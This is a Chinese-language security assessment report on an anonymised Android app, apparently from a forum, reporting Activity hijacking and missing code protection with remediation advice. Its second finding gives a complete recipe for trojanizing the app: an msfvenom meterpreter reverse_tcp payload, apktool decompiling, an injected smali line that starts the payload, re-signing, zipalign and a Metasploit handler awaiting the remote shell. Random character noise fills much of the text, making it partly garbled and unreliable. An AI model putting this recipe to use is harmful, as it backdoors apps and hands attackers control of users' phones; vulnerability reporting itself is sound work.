6 P6 ^$ R0 L% `0 M) n $ W2 q: z% l% W3 G( E

1 C& @1 \- a: p6 d [* V. b' f. S" ~+ `) B& q   0 L2 k1 i' C, s6 C) P0 z0 G( r. H8 M% }

) X8 C) h5 Z5 Q; g9 ]/ S5 K5 L# T/ S* T& ~& B6 _( G

' w5 W* c( ] B8 |3 o4 _; ^" r 5 l7 \, u; v4 A 2 检测结果                    / U! X- X- u: d: C3 N 3 k ~4 y5 S/ p# S! p5 m

Z# H7 X$ \ f( t+ P. Z* z# A " e9 U) b: p: p/ h# ]8 }" S

7 d# q8 B* X4 ?' F6 i : j2 x- z$ J* ?' V 2.1 某某某 : u2 B) r. P% }$ T ! S! H# S% x$ S4 k7 ]" j: a

4 K5 O7 h' i$ P$ R* } " B* d6 g I1 d7 O+ d+ @( `

/ Z4 y* g: ~3 C4 A) m1 q2 t# ^" t6 c, g; ]- {& I 2.1.1检测目标 3 r3 I* z) k- [+ e4 N1 G3 }8 j9 O- n% p$ [' F. x

3 y5 B8 G5 c; _. |, R f, X# {+ A* F. O% [, ^; Z( A) |; t4 h

4 |% e; s4 t/ g3 [5 ^. M" k; ~ ' @ j m4 D, w1 b 目标地址: 某某某某某某APP / m. e+ O8 u. m, Q& N/ P9 y+ G& s - V: e- N) \+ k Y9 c; B

' U3 X0 u: D* Z! n/ [ 4 \& v" F4 g. @' @

* L7 [' ?8 q% ~: j1 F0 x9 I/ n7 X+ z& [: I7 ^ 2.1.2检测结果 ( D3 d- R: |( |! R( V# b( G' O) l8 P8 t ' e- ]- j. C/ \+ c

6 u' m& i w! w" S* I7 r " x5 e0 K1 {" Y7 D8 B( R

+ k5 U& G7 l$ N# r. `1 R- j$ B$ ~& o% \" o t# T2 a$ r# G: d 2.1.2.1 ) h& z2 d2 Q |/ A8 b3 Y( g 1 }! t% X- d/ C

; {6 g: V' P! H 0 B& M9 ]1 c2 |0 K" c

5 \( G. B6 G2 t1 t% z2 v 0 U! O z1 @& |0 T$ V* P 漏洞链接地址:某某某某某某APP 6 z$ a% x* r ^3 L + f, b+ Q: R( u2 A6 o& S( ]' D4 v

6 A6 x4 e6 I7 y) J 4 Z) \( O6 E8 B8 @

6 ]3 w( x7 ?4 \, `; c( Q5 }' U2 w 9 _# L& }7 j" x   / f2 m( X% b2 P. t6 L 9 d2 ?8 f( y8 G( H

9 p+ D- T$ I4 I; b; N( b5 g$ q3 @* s) B3 }

! {: q: h5 E1 S; ]0 C# W/ R ' |3 e. V" G: w+ Z3 i8 a 漏洞分析及取证: 8 w# i' Z$ R9 F% T1 I1 _7 V . I% d' A- l7 {2 ], q

8 q8 H: L% Q$ | ! T6 z( ^. l+ [1 J/ s! C" i5 z, J# f

* `" Y$ |& t) f1 T) U # X: N" M/ F" F* \* m* E                  通过androidkiiler反编译,发现app未进行安全加固, Activity 为com.minivision.cmcc.activity.SubActivity可被劫持,复现漏洞如图: 0 C. W5 Q3 T" H6 R4 m' a. A0 o/ O0 p

T t/ m" C; H, b$ b 8 A5 R! q: G, }3 l' ]& e5 w: D% C

8 M" Q4 f7 y4 p. v; {& A) e6 Q- R1 n7 `      % A0 t' M- ^5 @& j6 R+ R/ P ~ ) W# g$ \& Z% \7 G8 j

2 _, U0 {& P! k6 ?5 ]4 p5 t $ ` f* z3 L- p" {

3 m _* q$ |5 k+ W: v0 X( e6 o+ T2 ]: m+ P                       & t- R$ j7 X) l/ |8 U! X' T0 M* h& S1 U - y3 s* h$ n* f% Q: Y

1 P1 m$ I9 G2 n' b8 _1 ^ 7 a9 b1 U9 m9 F3 P

, S3 }6 _9 P/ U" i k; d$ w% g V* w. @7 |& V7 b 8 p3 R/ u2 Z2 |; L8 a8 X. q# ~8 ]* s3 [! u7 I% M

! b5 R/ `6 {- Z, T6 d$ [ ; ~! a- B+ r0 w

) d- \: H6 D' ^' | ( T. R O" _- v `# l9 L4 q # Q+ t' S6 \( y$ ] 9 n8 N& S$ {: @& |4 M

. B( L/ l5 R/ w$ n0 d, B1 b1 c; z

' o( m0 m& L; o1 j( }0 a$ Q1 t4 C6 z9 W" d( |3 q& c( K . |4 c: z& ?8 h5 o% f2 I 0 r) b+ ~. B2 X7 Q$ h' ~; o' Z- ~2 H" Q

. ~3 k3 s6 d" j3 `. i" \0 ~- o. g/ H- T( m1 ]/ |. W- N% e

; X9 X% o7 F1 h9 t9 N! [ ) O6 d2 Q0 Q: b3 | e8 i 漏洞危害:高 - \5 B/ V* s6 @- h1 x* u" l6 O0 a+ @4 ?! w6 W( m# c

) I$ B, Q* r6 V V 8 I. S; O; Y* d/ t5 e, {) Z$ Z
: `' c9 T% }% ?! }9 T9 ` % y/ W4 |- w# N) e A 3 E2 l. p( E$ `5 Q0 V- g- E2 ]6 ^. [6 U* Y* P; j0 a, T! G* n4 {" R! ^4 s ~: F/ A+ Q$ ?7 z. C! Q2 z' a" G: r( _/ P' q7 C% d# `) R- c Q# P$ \# Q9 P8 w# t9 P9 q6 F- _7 P8 Q" z* U0 W) M& w5 @4 ~3 ?1 e- S, s7 ^- L/ X% M0 k6 h% N* H' j8 A$ u0 }& L) k# k; M P' L4 l8 Y* Y: H! W; h! \; J5 W1 c+ a) Q, ?3 H/ B8 b* F N6 \! ?' G( n- v7 _# n! c( t3 J0 |, y$ R8 v9 X w8 `' l% s/ l/ E1 ]2 j; N( Q- R/ A9 l1 m4 e5 s0 [/ ^, L0 j5 p) |1 e" i9 k; P+ ?$ Z8 J& T3 q' @: }& p0 ~# C- p0 H! ]2 m8 F# l( Y: K* x( s, ]2 O6 w V6 T& v/ X' J1 j5 r% v8 M+ x# u# _, K7 z% b7 A) m* _9 l- |& i0 ]' a& M# M' r" z& B, l4 F5 ]( X; i/ @
) |3 C1 ?& r: m+ p$ r1 y2 _$ S, y9 W D5 _; c. Q+ {

! p/ y& b4 t" x. {/ n) j" C: T/ O7 h k , w$ F% d6 @, }4 S 严重程度 * \8 `* ?: f" t, Z, S- N; g # m' ?7 g0 ?* F

5 m. Z Z8 ^, V& R( @- y ) _5 h3 k V8 u L
% L" W4 L+ w$ o4 |% k. o) H" Q- r 6 u. E _+ u9 F

' b5 I- ]. I! ^' w- d- @' I * S- C4 }$ X4 k( [& x7 c/ c. S* z# s 高 ) j8 `! R9 v* j, W9 \, B & v1 Q4 `7 s5 Q& J v3 k4 X

- p" Q- w6 G T" H 8 T' a+ v. X# A+ `3 F
. y; h* e: X7 V$ [ 6 V0 o5 a- }: q& N' H. a

* M; u7 H# ~; g$ n/ C% v9 p) D / w$ S7 G2 O9 E' y% g ■ / j# ^. r o4 [$ i' W' O, Z9 A# k 1 |: t- I% J# w. ^3 ~7 G2 m T

$ L/ u* I7 x: x% x* D* U& T( M 3 \! T& M! F: l
$ j; v* O0 I( [ v$ ? ( ]4 G0 b: K7 k! \

l, i5 ?9 N" W+ ~ ( F6 A w8 T: w 中 # J1 f5 z* C# w7 B3 h' \6 d8 d " t5 T5 b; b9 H

$ ^9 b: b0 C0 p6 Y9 R. p H 5 q9 U7 v2 V% _8 t
$ Z2 M5 j2 a4 O% }* \ t5 T 4 P! H3 M, E* Z8 R+ q

0 a& e. V6 L' `' z1 V3 v5 d/ x4 Y5 m) a   / J4 D3 S' s! j! b* L, T& w3 W# O! g& ]

* o* T: x3 ~' H1 i4 c $ Z, |* [$ ~1 G/ H) y, [
1 n5 E/ M4 i; j. p, ?/ ]2 q % V4 }( h9 \, Q( W0 {# a6 w

( X+ r1 F, a& U8 B9 B' L' ^: Q: j# a1 n+ j B& p" W/ n 低 ) j& v+ w8 l) z. [# _; o5 D+ a. a9 p9 N* `1 D* H$ V3 f ?9 T

1 s( m3 S$ A9 f; O- k! M % X5 A; M9 x3 M) @
* Y: D3 `; m: ] |; g* v! @ - l: ?0 S! B* U9 J" H$ }

3 k5 }9 m/ L$ r2 g3 O & p2 p& t( [! m   / g7 x: ~% [: `. U , I' f. |2 n0 ^3 _& ^

7 r, k, _8 ^1 |9 k2 E- j. X" R ' U* H: U* o& Z v! [% z& P) h( n
% \ D2 E( ~$ \0 B" b, D; [% k/ S( e; s+ F
% Y: G) P& k6 g- n' z7 z8 { ! |5 d4 t3 t5 {0 r- k* _3 \+ G

' x3 G6 ^2 g9 L9 B2 I% F" _) ]* S% ] k1 V   7 @1 p4 @/ I* ?+ [ . a; g6 I5 b X# r% i

6 W" ?4 t4 U0 V. i ) p0 i" l( f- X0 p( F

( G2 Y: i1 T1 ^9 }/ H# G $ q5 C8 u5 v5 Q( Q E 修复方法:在 APP 的 Activity 界面(也就是 MainActivity)中重写 onKeyDown 方法和 onPause 方法,当其被覆盖时,就能够弹出警示信息。判断程序进入后台是不是由用户自己触发的(触摸返回键或 HOME 键),如果是用户自己触发的则无需弹出警示,否则弹出警示信息。 + S8 H: H$ V+ C0 u6 @, Y" |# O% n f% S4 H! r7 z+ ?

. @* ~: u1 o5 B1 [9 N6 ^ ) \" w, J% ]. [3 {4 |

* e0 z3 B( G2 O& ] : B* X7 ?! L! @+ l. K; O9 l9 z' B           6 v# t. ?$ ?, P+ W" J1 b5 O$ o : r. T1 m8 b. y

) A% K# b5 c$ e4 A, i S, F6 A ! j# R! T8 E% x! Z+ [+ O

) v1 H9 Q! Q5 [+ Z, H: y/ D- n _2 u5 ^ z/ m% L4 a   4 N" }+ ^' ^# c" Q2 q# L/ Y+ R) a- H2 [8 P0 N+ ~1 u4 i3 i4 B1 j

& w( K$ o, M; E) d# Y$ T$ Y 2 H; Y) l$ R, ?3 }

1 E9 \# i$ y% A: v* h: T, w" d ( q A. {" v/ {& _, d3 n 2.1.2.2 # Q6 ]9 d4 _9 c6 g, i + U( n1 ~3 S8 K

6 I: Y4 f& r! T* J 3 i; V4 ]# F& X b; m7 ^- p

7 e w% H* _; Y$ O* B4 d% S 3 k" e v% c( ]0 j2 c7 R. m7 } 漏洞链接地址:某某某某某某APP 8 B! y9 A" u& u, k0 b 7 l6 ~3 O# }* s7 f8 r

) N, x! o' ~: d6 ~4 @ 8 k+ G" |6 d# Z* k* A% K/ y% _

1 N" P( q( s) B) U8 a' l" Y* m; O7 u" J0 p, G9 Z' c( F 漏洞分析及取证: $ O$ `5 {/ m: D/ J% |' p3 J) G3 w( f. V/ J

* X" p5 [ W% `5 s1 U3 K3 Q; z3 ~ ! [/ Q' B, `* e( I5 S4 {

, S9 r# T k. Z; v: u: J1 C) b& o8 J0 `3 h; u% Z; b; h5 O) |                  通过反编译,发现程序未加壳加密,可直接反编译获取源码,经过测试可修改app代码捆绑木马或者植入广告等操作,复现详细方法如下: 5 X- P" ?( t7 A: L. L) h3 D C2 q' i6 [$ s! ?7 [; ?5 Q

. b# I4 b* |0 q: U- O- v' N 9 r" _4 W( ^) _" A" V5 Z5 l) c2 l

4 A7 q" a3 T5 X" O & G, I6 }. X* J: c& U, G 用Metasploit 生成木马 apk 1 \5 N% Q: ^3 L' B( Y ]5 c8 @- ? ' X5 [) G1 r) {: R7 s$ A$ j! k

. U! P: u# w8 i) |, i. o- E$ e, R 5 U' ]* u- m; }

# W h: ^1 F# U/ @$ X4 z+ _' j. l @% _! d) K! A6 P msfvenom -p android/meterpreter/reverse_tcp LHOST=192.xxx.x.x LPORT=4444 R > cockhorse.apk # H' o4 R2 J+ Q" ?' s, h6 B; q* |9 G- V+ t- k* I0 v

$ _8 |1 L0 `* `, M& S1 r% U9 Y: q" c% D5 _$ D3 L

5 {! U# t1 d+ y$ [; @5 [6 E( S% p- {$ y6 c 反编译目标apk和木马apk 3 G; f6 z" ^+ a( f: W 8 f7 B9 P2 s, a1 T$ u! D, ]

8 }5 o! r. W7 I; P " y: K& @& B& r; d

( n: _" n' C' L5 _ R" W) }3 Q. {6 n0 ^ apktool d target.apk
- F2 J1 H3 y. H. Q6 G! E9 `' t* z" W! A7 v& g apktool d cockhorse.apk
# `) N* ?8 V9 e. r. u% ~: n! k$ m # P9 F% x& h- P9 ?2 U& o; f

3 d/ S$ N$ l4 H* _" m; O1 g1 l" s4 U) ?1 Q/ q" J

) {( R8 \" N% `# b" m! m4 u # v8 w( { X4 w 木马 apk 注入目标 apk 7 [: t8 i1 Z' H7 E " t) u& R! _1 O6 P1 l2 n

& q8 O' e- R. Q3 a! }5 S( s* C, [# X3 {" ^/ D% d

6 w4 W q9 T5 E4 o8 m* v" N 2 {4 ~( e* [5 ]( q) b4 Z0 G& Q9 | 在目标 apk 反编译生成的文件中找到启动 Activity 的 smali 文件,并在 onCreate()方法中添加如下代码:
3 H0 h9 U: {7 d- {5 z* a5 R& ?1 P# U7 H invoke-static {p0}, Lcom/metasploit/stage/Payload;->start(Landroid/content/Context;)V
! _$ ]2 ^9 \3 t3 V( X 7 Q# }4 y9 e; y6 |

- W' Q+ e0 j# z. ~- {8 g O; m: M, I% [6 t

5 l+ f$ d; y% [) F & s! i+ O3 k3 _ A+ q% N 将木马文件 AndroidManifest.xml 中的权限放到目标文件 AndroidManifest.xml 中,去除重复 1 n, S R; U2 |9 y, @* D' a 3 |/ G/ ~" s- o; |

: x7 j; d4 q" ?, e5 b * y1 @3 Z% f( P, O

" u) d5 m0 L8 ~% ^; K( Z 5 @, I1 C) j; S 将木马文件的 smali 文件放到目标文件下,例如 com/metasploit 文件复制到目标文件 com/ 下 , O1 O& E+ N( J. ~: ], O 7 A# m* @$ t' w

, ?7 \& c7 j$ }6 g! Q% _, ^# @. z0 e$ K 8 r$ A( l8 G7 S

" T+ n' u _& M6 d6 f7 H( f) h3 u" r2 V: s( x 回编译生成最终 apk ! E- `) \5 G+ M" }. \" t: A ! Q! N+ x* h/ S: \

h8 k9 F7 K3 h# c" j. z * D7 T& d k+ X5 W. D$ `" J

2 c3 F, M4 q8 Q. D - l& E! w+ y$ L' }( m- Z p 重新打包 , Z# n S* D: P6 {0 c5 W6 b $ p9 H2 b( H1 o w- m

0 Y/ m+ B$ d" X5 X) e) d0 d1 H 5 ?) f+ j- ~0 ^

* D: b" D/ ~4 v3 H: ^3 P 5 r0 ^8 j( v$ a, ^ Z0 B apktool b -o repackage.apk target_app_floder 0 y/ w3 k; C$ @# `* ] : g# t. ~# j& {- Y8 M7 V& t

2 I- B. Z! a* D1 v: i 5 i/ v3 ?- V( @) |- g5 }: s

' G) d) E4 c6 m% o; V$ o0 n! S' U' g* Z. m G4 o& @/ p 创建签名文件,有的话可忽略此步骤 - ?% o1 I9 M) a6 v. d0 u* ?! ^0 T$ X% R" C9 J& v8 U4 q

. s, C( Z6 }% S" W$ e' Q+ g2 O / i! g8 Z$ S& l4 V/ E, c; H H6 H

+ ^( ]/ d4 G* g8 ^" m$ w& F5 i& I " }2 S6 t% K6 f1 A keytool -genkey -v -keystore mykey.keystore -alias mykeyaliasname -keyalg RSA -keysize 2048 -validity 10000                ]& Q. Y% b2 G& Y& y; } 2 X* {" Y; F6 G( a% }7 p" U

3 g6 G$ \$ X1 U" [' C, n9 o* ? ) O$ o+ P( v' o

: I" [# {" |( Z k# U/ `! d ( X' G0 T/ C/ I" {6 G W/ k 签名,以下任选其一 ) k1 p7 x1 c8 |& g0 ~) X 9 i8 d' K. r$ |" c8 U7 |! J

2 Q% a, e* k% t 5 I8 o3 e. ~! R6 Z& X

2 K# _$ `6 n, y3 X/ T: W9 S : H5 a9 T r: `) s" k jarsigner 方式 * n! ^; m% J% @' c& l " e& _- F) G( ` p' B

0 n( A' U1 v) Z+ P ~5 {7 U2 D) M& n- s( [- h" s4 ~

" j7 q7 U2 W& p+ H, i) G. q* c: b " D( d! _" }+ r4 o# ?7 x# X6 m9 j/ J jarsigner -sigalg SHA256withRSA -digestalg SHA1 -keystore mykey.keystore -storepass 你的密码 repackaged.apk mykeyaliasname ; V% e$ M: y( x, h, d 5 V: M) q; y) M* a6 [4 L

8 P+ J }8 }, O" T( V4 S5 X + r5 O# Z* ] W: R2 L5 |

# A7 B. G- {# a7 ~ % |! c# p* D) `- D* G* ]$ ~5 X apksigner 方式 7 o7 |5 B7 A+ @1 b% S4 k3 P" G V' p/ q- \

) N/ ?% g3 W9 }) e3 c% w 2 Y; p- t' x4 c

7 A! W( _0 s4 k. z0 r# H - |, {9 z% _" r( C( I apksigner sign --ks mykey.keystore --ks-key-alias mykeyaliasname repackaged.apk & ?$ ?: g: w7 A " u6 O( y- i4 `/ P# z S$ h0 v

6 h, o. r. b, A x- {/ d5 X1 B2 d& d$ P. Y$ x& D; u5 ^- f! N3 q

) y5 x& y+ U; C! D* i s, d) A + v4 V5 T7 H3 b; c9 z | 如需要禁用 v2签名 添加选项--v2-signing-enabled false $ l2 x& L" \' @1 d1 e! Z* { + V& n$ l: d3 A$ A' \

! Y) s7 ^* G* |- \+ A 7 G- X" F8 ?/ K$ N* O% U% o! E

. v2 d# V Q* s: u* O: C " \% j( R9 s6 F4 y" ` 验证,以下任选其一 : w! E, r$ W! {" @1 I) C % S, P+ D* ~) A7 H5 n- U' R% s

( x, g# e5 i0 U8 h3 `( f) K5 z/ n) I9 ~) e

$ x+ b; i. _/ ~3 _( |0 F! q ( k" h1 Q- v6 W jarsigner方式 ( x; u3 z. C9 v& J1 |; j4 e 4 K8 b5 r! A; m7 q% L* i

' ^# V. C8 Q/ n+ G, m 1 ]5 p" Y9 L2 L

) |5 T- \ `1 s0 Z9 j5 C+ E/ |5 p! x& s, {( e' {3 Q. d I jarsigner -verify repackaged.apk ' m3 ^4 N- ]! P" b5 ~ $ V; l) J9 A4 z# o2 k

+ ^ Z% x0 f8 L8 q$ H, U : d5 p# b. a R0 y; m

% z$ d j v1 K% _+ _! Y - @- A8 N+ T L; p, Y apksigner 方式 ) Z$ I5 L. Q, I0 [$ U ~" J # @/ i: n2 ^9 e& F( m- R

* N) D; `% G9 x% D# h1 T / `3 T+ C$ `! l

( v* a5 H6 W% f( N( J& A 0 d: j T% Z7 C1 c% o2 Z- v apksigner verify -v --print-certs repackaged.apk 7 v/ N: @" I/ E% S4 |2 M ) Q/ T! c* O& u" E8 y7 Y+ v& L; U

0 y: c$ |2 K* V+ x, P) x: [" ]9 Q& [+ h, M

& R% @) _1 v8 v1 G) U 4 g3 Q; F/ w4 l keytool方式 9 |' b' t3 l7 {9 u4 U0 W' d3 j+ h3 w2 w

' V* w3 i3 p& `5 P - [* Q+ m( I* x& q

7 O9 L& e, ^6 ^) o % k7 R0 C- y* g8 X7 [! g keytool -printcert -jarfile repackaged.apk 4 t; V' P5 J Y3 }( a3 C% s7 t ) b" D; A( u& Z. Y# }

6 m+ }2 U8 h# o; T0 H+ Z+ A$ _; c5 ]! ?; t' ^* w/ c- I

6 U4 N% f/ T( U2 j7 O! z 3 U. U* l% g6 [- ]$ W2 L 对齐 - d7 P- a& Y' r, s/ e i 0 k1 ^6 b+ G% t7 v7 e4 B3 K

( y1 n" N0 U: p0 H. y: r! A$ \: v . B7 E1 ]8 D2 F$ y1 ]) B

2 ^% g0 w! y4 Q7 E$ b% _* o : l/ I1 n& d1 z2 I& k 字节对齐优化 $ q+ }7 i, D2 S , I% v+ [% k" c; W$ L

% X; }. ]3 f! z5 N, x# l$ |! B 3 K# u8 u+ R- `2 I% ^1 h+ H

8 |3 R* {2 V8 C! k) [, A8 S8 ?- N# W u zipalign -v 4 repackaged.apk final.apk / ~! J$ A' |7 s ; F' L: r: L. @, [, E' q

7 ]3 o% Y" I1 q $ j& a N( X% ~! H# ~/ z- W

- R K" F$ B& `1 a) G 5 _& p' x( z6 H 检查是否对齐 ! L$ J- s9 G4 v7 _8 x " l, M3 r( j5 j) p. y

2 V2 U" Z8 y6 y1 t3 k4 u 4 r' Z+ ^/ M) ~+ v# g* k, K$ n/ ?

$ N& S; _4 u9 J2 p; Q8 Y6 q- s 0 r+ |5 B& |! y; h/ f zipalign -c -v 4 final.apk 2 o4 z( u8 y5 L, A+ S q" `0 t9 U) ~) m. Y ]+ J2 [# c: D

3 k1 y" ]/ B% A V- X2 K $ r4 p1 e6 n( G% X

+ N. q/ m& I& J4 u) X+ t0 m [$ s# k# v x9 t 注:zipalign可以在V1签名后执行,但zipalign不能在V2签名后执行,只能在V2签名之前执行 ( p. c2 Y* P4 A* R7 A& a ( X! R) F. a) }" r$ W1 P2 e

6 V* G9 j# g9 ?3 m" h . l% ~1 N# S$ n" d

# R, }0 |9 [2 r% ~! z$ H9 C% n 4 M2 _0 i* B1 [ 启动Metasploit控制台,配置参数等待上线 # {- c5 Y: `0 ] . g* } b/ Y9 b

1 d9 y' |9 G& F" Z7 R 8 h8 M( z% g4 |

( Q3 P: Y+ g; L 8 E- r) w, \/ k. p+ j 在终端依次输入如下命令 . N6 R" L" m) ~4 w 4 J+ b" ~ ~# o% F. ?; M5 c$ s

8 d2 A8 [, |3 ^. F3 c! A# b* l8 o . m! b% E; q Y: }

) ]) j$ ^3 X( c2 u* f$ C* s7 Q) O7 X. L5 {, {$ x6 V; [7 ] msfconsole R5 c" P* y/ J! @# E' t9 ~; c# U! v

. E6 F: Y: {# v 6 D+ y1 Y' _( o1 V

: u: M" L( s- j+ O! L h) c* q8 T 4 k7 N A6 Y, `* S( F: n, s% [ use exploit/multi/handler + F( b& f5 }$ N ( g' P. R8 R# m N: ^: @* p

3 e3 o" {3 q1 e 5 B& E# A% n# `' o: T. C* t7 l' r

! I: S# A/ W, k" K, ^, H& [( c. Z ! o/ l3 V3 v4 I0 S set PAYLOAD android/meterpreter/reverse_tcp , m+ `- d; L+ ^+ C0 k6 o6 [% ~ ' s; I1 b# m6 F$ ` g8 {

x( l; S# y7 e4 {. j) \ $ m1 w, e0 {0 M: T

, e1 [* d! A( \# P 3 N& ?5 c/ o( \ Y; `4 s set LHOST 192.xxx.xx.xx / `9 L7 C$ O: X- c * r8 R# X! J+ Z5 c

+ \0 B" \% i6 d- p5 U ' ]' W. A$ E: Z9 w6 l6 H

5 o1 R8 N1 ?; j0 I2 `* {: x/ j/ {& j1 Z. {7 h9 [( _ set LPORT 4444 0 |: R% p9 @, r" r. Y S c) Q7 W9 B6 Z( h+ d4 O

0 p% S5 Y# S! X6 m0 N7 H/ I( E 3 @+ T7 t+ q( _ e2 T

9 P, M: y" @" H. Y5 }. ~ 9 E* M: ~$ z6 _% I6 V, p exploit & }# {8 {0 \6 ~6 n1 T9 a: z# Z C 6 e8 i6 i" Y" W6 Q( r1 W

' j( Y; V& x7 s3 X% s* `) r( k: x ; l7 [* P+ N4 [# j9 I! n

1 B( `1 @/ U9 H + b! r G4 K8 z+ E6 [ 之前我们把入口放在 MainActivity 的 onCreate 方法中,当启动目标应用进入该界面,就会连接成功,如下图:               : b+ Q; p, Q8 |6 v' K! _ 4 C, D$ m9 K" C/ B2 t) r

& ]- M1 _$ ]- |; c9 U U0 {2 h; {: l/ e1 g2 W

8 ~( `% E8 Q) T& H: L7 f% Y N% X 3 f* L7 q% h3 k- M8 L 漏洞危害:中 , }) q0 M! J& s N4 T/ ` r+ L( N" ~ / A* u" U6 \! V

3 D/ U, r5 X- b 7 Z! }% @7 i" N* D
1 `# P0 N! ~4 @3 G: j# }: u 0 r' B8 B) P' q' S% u / {4 U: }; c0 t, e; o4 O7 f& k 4 f; P7 f9 T$ n7 `2 h5 d) T 5 E& u2 m4 |/ B0 G6 g: {" ]# O0 K' p' G4 `- e* H" b: H/ k* ]3 K2 s' U& D4 D$ h8 a6 [* t% y. V2 |# D9 T; G2 e5 h2 N* J( z8 ?3 Y f1 Z P1 v- S* {" t* k" y. G% I' C" k! {% t2 o$ k- y. x! [, g- L7 r6 [* d2 g, C$ |5 P# c' E$ ~: i: f% \9 ]5 H1 a+ o& o$ f; N# c$ e/ ~+ G- p* Y+ A* W5 O# s4 C1 z$ i9 B2 g7 l! R. s2 {9 I6 }4 c7 w6 e# t6 F1 P9 h/ @* o" g1 z# ?: ^" F+ c9 K) D" {/ {5 z% B+ A5 }( W& F! s# G2 a$ n# R% J: u! g6 h: f5 q) j& R$ F( q' P- {' ^9 Y, ]8 O' V$ _2 {. p- |6 v ?( e" P0 U6 `, w0 `1 V0 j6 v9 q. K X# t4 _4 l) A% p9 M: q" J4 r3 M$ k) H6 ~9 q% S
3 C+ F+ ]& H8 I2 X , ?: E9 Y) p( O% T* p. M9 V" B

; i- o9 ]% v5 E# B: S 0 q$ N' W4 M/ `0 ` 严重程度 2 U3 U! {4 o- k * h: W. Z' u: ^2 Y7 Y

5 ^; @/ A3 F) l$ D% K& q0 X 6 q+ k' [7 ~8 V( A4 E
2 [+ z( k- p) H& g$ m% T& \ ) C3 W9 i# e" \

4 f; X+ k1 ?. C/ \9 e, s3 ]+ e7 g2 k& _6 m, r% Z 高 $ T( s6 c6 v- T1 B, g9 `. ^ 7 F& R/ d6 X) P1 [$ o

; ^5 }. m$ C& t- C 5 q" D; a$ r1 @' F; F: O% L4 L1 X
* W0 e9 B1 C2 L) x6 Z 3 J3 ^. X1 o/ Y& A; _( N1 `

; i; u8 P2 s9 A# E u + B7 }" ^/ ^& R% R( f ■ + X( ^) n, J" q$ B% q6 V - O" h$ Q& F) W3 {0 n! D3 @" @/ i: W

$ O# o7 ]1 r8 l7 @" O) Q ) }3 ?* M% F5 ?9 N' F
1 y" H6 u7 q) S- T9 _ / Y7 k0 f- T! w% _: T2 l8 l

, r- J) W% Z1 U: _( U" ~ 8 `! }2 i" H6 v% y, [4 s0 E 中 ; {+ E0 g- X0 s* ~% x* I/ ~8 }$ e& T5 E! @, I; `9 {8 p1 a7 g

; \0 ]0 C4 ]* F8 u0 \( A3 A 7 [. H6 G) y. u" v" A; M6 y
6 }" k! m ~& w, t( j ) l5 @2 ` J! F/ L- Y " k. T/ c+ C) s" A3 U0 S, x' A, ^8 ^

; n/ p6 |* x5 x h1 B & p* C ^* a2 z$ Q   1 [8 U. Q! c, X; a: o ! W8 j( t5 K0 x* j# k, X+ U* \

# x6 i; s0 ^9 K% k4 M+ p# U6 M1 i( Q8 j- e, M( ?/ H' Z( }
% o7 Z& P1 V! i! V4 c! V0 m9 o 3 `- V: P& t$ n: P) r0 I. f

$ a7 T4 E' ?) a8 u 0 r: }" o. z. W( [& {& g- A/ B 低 7 W3 |- T3 g ^/ x2 p. q 7 [6 Z; }" ^7 N0 y _: X

% C$ t! F* h$ t. {* L- {7 q 6 W/ E# @. p, Z$ o1 k$ q9 s& w3 L
% ]$ T/ Q3 q& x& c" _ 6 h# X4 T# t% Z7 O9 T' @ # i7 ^; @. c, c3 `: A) F3 c: a0 l+ ?: ?

- ^: [, R. f( X- q5 _+ O 3 g: E5 E- P! \; x9 [% i! H; j   3 }1 Z" t3 V% {; o6 n/ M: E( D% y7 J+ e$ {& Y! d2 n% m

9 Y, ], l: s$ @/ o( B& m$ P 7 U+ E7 x7 D. L7 P( A
* \4 d" r+ \2 w; u# d 4 H; u8 F2 ^7 X) d% Y
' w ~+ r o( \$ g' Q! p" r 1 w8 D: G" w! f" F; w# x

- L9 P; D5 i, a 4 U( t8 h3 C7 S. W4 j: Q3 y   6 U) _$ d! ?" E$ g% G$ Q) }+ K9 Y4 W& k5 @+ U( X3 M- C

0 L3 }. c% }& G( S1 v) w6 m2 F$ J- c1 U! r7 r0 [

3 J. d2 [4 D) `* h$ W , i( R: n0 P% r2 j! m7 d3 g$ ? 修复方法: 9 u3 H6 C! O; t $ e# t8 H/ J- ` u: A

& B* F6 B2 t/ n- S: ^4 Q , x5 E1 L' [ I

: w7 K% z* ?$ D! d" h2 N' m [ 8 |+ a% R/ `4 X1 Q7 L( E3 d               1.在 APP 启动时应做签名校验防止二次打包。
$ s7 f( y% P2 x6 A; |/ @ 9 h; p- J/ Q( ^( u/ G) h0 Z 2.
建议采用客户端、通信和服务器端联动防御方案进行安全防御。 " q$ V" [# ~) X% j0 u4 T( g9 ]4 i' ? 0 N! g( i* A7 y( ]. f6 E9 L

* P2 ?$ ?2 I: o$ z) i0 {$ J8 K. a" A " I+ K4 k3 J# i& Z" C8 z& V % U* Z, U0 C& m+ ^* q 5 {$ J) M9 w. Z

5 w2 Z1 e* [2 A) [+ Q; J* E ' T! c* F! B+ Q$ g- x   , O# l9 M" K* j( j0 W# {& f1 x" [' H# a

0 A) W" h- O! x4 i' v2 z$ h1 ?0 i, U6 Y# y+ p- f0 u1 G & w6 N, A1 U0 K! l' c: l0 u- ]9 n

& B7 w J7 i4 V/ ^5 @ ( e+ u5 g2 [, a
* W9 H" x3 U- m: C; ?/ R! B4 o 4 {1 a0 ?* J6 u5 U, d2 X* b( k% ^

2 ^ L& M; r/ S6 Z+ A- G | , a$ H) L9 I: A
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表